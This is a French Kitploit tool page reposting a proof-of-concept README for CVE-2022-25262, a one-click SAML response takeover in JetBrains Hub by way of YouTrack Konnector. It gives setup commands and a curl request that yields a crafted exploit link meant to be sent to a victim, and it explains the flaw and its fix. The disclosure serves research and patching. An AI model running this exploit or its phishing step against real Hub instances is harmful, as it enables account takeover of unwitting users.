Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-25262 — PoC + détails de vulnérabilité pour CVE-2022-25262 / prise de contrôle de réponse SAML en un clic JetBrains Hub | Kitploit
Outils/GitHubGitHub/yuriisanin/cve-2022-25262
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentificationRed Teaming
GitHubyuriisanin/cve-2022-25262

CVE-2022-25262

PoC + détails de vulnérabilité pour CVE-2022-25262 / prise de contrôle de réponse SAML en un clic JetBrains Hub

Voir le dépôt
1756il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-25262

Preuve de concept + détails de la vulnérabilité pour CVE-2022-25262 | Prise de contrôle en un clic de la réponse SAML de JetBrains Hub

  • CVE-2022-25262
    • Prérequis
    • Utilisation
    • Comment ça marche ?
      • Pool de codes d'autorisation pour l'échange OAuth2 -> SAML
      • Prise de contrôle du code d'autorisation OAuth2 de YouTrack Konnector (par conception)
      • Atténuation

Prérequis

  • JetBrains Hub <2022.1.14434
  • JetBrains Hub configuré comme IdP SAML
  • Service "YouTrack Konnektor" installé (fourni avec YouTrack)

Utilisation

Installation et exécution :

root@kitploit:~
$ git clone https://github.com/yuriisanin/CVE-2022-25262
$ cd CVE-2022-25262/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h

  usage: exploit.py [-h] [-p P]

  optional arguments:
    -h, --help  show this help message and exit
    -p P        Uvicorn port
    
# If you run the exploit on the local machine, you might need to use Ngrok or alternatives.
$ ngrok http 8000

Utilisation :

  1. Utiliser l'endpoint "GET /get-exploit-link" pour obtenir le lien d'exploitation
  2. Envoyer le lien à une victime

Paramètres de la requête :

NomDescriptionRequis
hub_urlURL de l'instance Hub cible✅
issuerÉmetteur SAML✅
acs_urlURL du service consommateur d'assertion✅
youtrack_urlURL de l'instance YouTrack connectée au Hub (requis si l'utilisateur invité est désactivé)❔

Obtenir le lien d'exploitation :

root@kitploit:~
$ curl -v "http://{exploit-host}/get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml"

* Trying {exploit-host-ip}:80...
* Connected to {exploit-host} ({exploit-host-ip}) port 80 (#0)
> GET /get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml HTTP/1.1
> Host: {exploit-host-ip}
> User-Agent: curl/7.77.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Length: 341
< Content-Type: application/json
< Date: Sat, 30 Apr 2022 19:14:45 GMT
< Server: uvicorn
< 
* Connection #0 to host {exploit-host-ip} left intact

{"exploit_url":"https://hub.jetbrains.com/api/rest/oauth2/auth?client_id=fd6b45e6-4a91-4574-9fcf-ebc6926f6378&response_type=code&scope=Hub+YouTrack+TeamCity+Upsource+fd6b45e6-4a91-4574-9fcf-ebc6926f6378&state=fhdyaaf&access_type=offline&redirectURI=https://konnector.services.jetbrains.com/ring/oauth"}

DÉMO :

CVE-2022-25262 Demo

Comment ça marche ?

La faiblesse se compose de deux parties :

  • Utilisation du pool de codes d'autorisation OAuth2 pour le processus d'échange OAuth2 -> SAML.
  • Prise de contrôle du code d'autorisation via l'intégration YouTrack Konnector.

Pool de codes d'autorisation pour l'échange OAuth2 -> SAML

L'IdP SAML fonctionne comme une extension d'OAuth. Lorsqu'un utilisateur spécifique souhaite se connecter à un fournisseur de service spécifique, il passe par le flux d'autorisation OAuth avec code (requêtes 1-2) et une fois le code obtenu, il le renvoie au Hub (requête 3). Le Hub prend les informations sur l'utilisateur associé au code et émet une réponse SAML signée pour le service. Même si l'IdP SAML utilise le client OAuth2 du Hub (client_id=0-0-0-0-0) pour l'intégration, il ne vérifie pas au nom de quel client OAuth le code a été émis. La seule chose qui importe ici est la validité du code. Cela pourrait aboutir à une prise de contrôle de la réponse SAML si l'attaquant trouve un moyen de prendre le contrôle du code d'autorisation provenant d'un client OAuth enregistré dans le Hub.

oauth2-saml-exchange

Prise de contrôle du code d'autorisation OAuth2 de YouTrack Konnector (par conception)

YouTrack Konnector est un service propriétaire qui permet de connecter une instance YouTrack spécifique à son bot Slack. Le service prend l'URL d'une instance YouTrack ainsi que l'ID et le secret du client OAuth de Konnector (requête 1). Il tente ensuite de vérifier que l'URL fournie pointe vers un YouTrack valide en appelant plusieurs points d'API ("handshake" requêtes 2-3). Si tout se passe bien, Konnector renvoie l'URL qui permettrait à un utilisateur spécifique de poursuivre le flux d'autorisation OAuth avec code (réponse 1). L'URL contient un paramètre de requête "state" qui aide Konnector à acheminer le code d'autorisation OAuth vers le bon gestionnaire (instance Hub). Un attaquant pourrait créer un hôte avec les points d'API requis pour le "handshake" et obtenir un paramètre "state" pointant vers l'hôte de l'attaquant. Ensuite, un attaquant pourrait fabriquer une URL d'autorisation OAuth et l'envoyer à une victime. Si la victime clique sur le lien et termine le flux OAuth (la victime doit avoir une session valide dans Hub), le service Konnector recevra le code et l'enverra à l'hôte de l'attaquant (requêtes 4-6).

slack-service-authz-code-takeover

Atténuation

L'équipe YouTrack a ajouté une vérification qui permet d'utiliser les codes d'autorisation émis pour le client OAuth "JetBrains Hub Service" pendant le processus d'échange OAuth2 -> SAML. Par conséquent, il n'est pas possible d'échanger des codes d'autorisation émis pour le client OAuth "YouTrack Konnector".

Support

Vous pouvez me suivre sur Twitter, GitHub ou YouTube.

Télécharger l’outil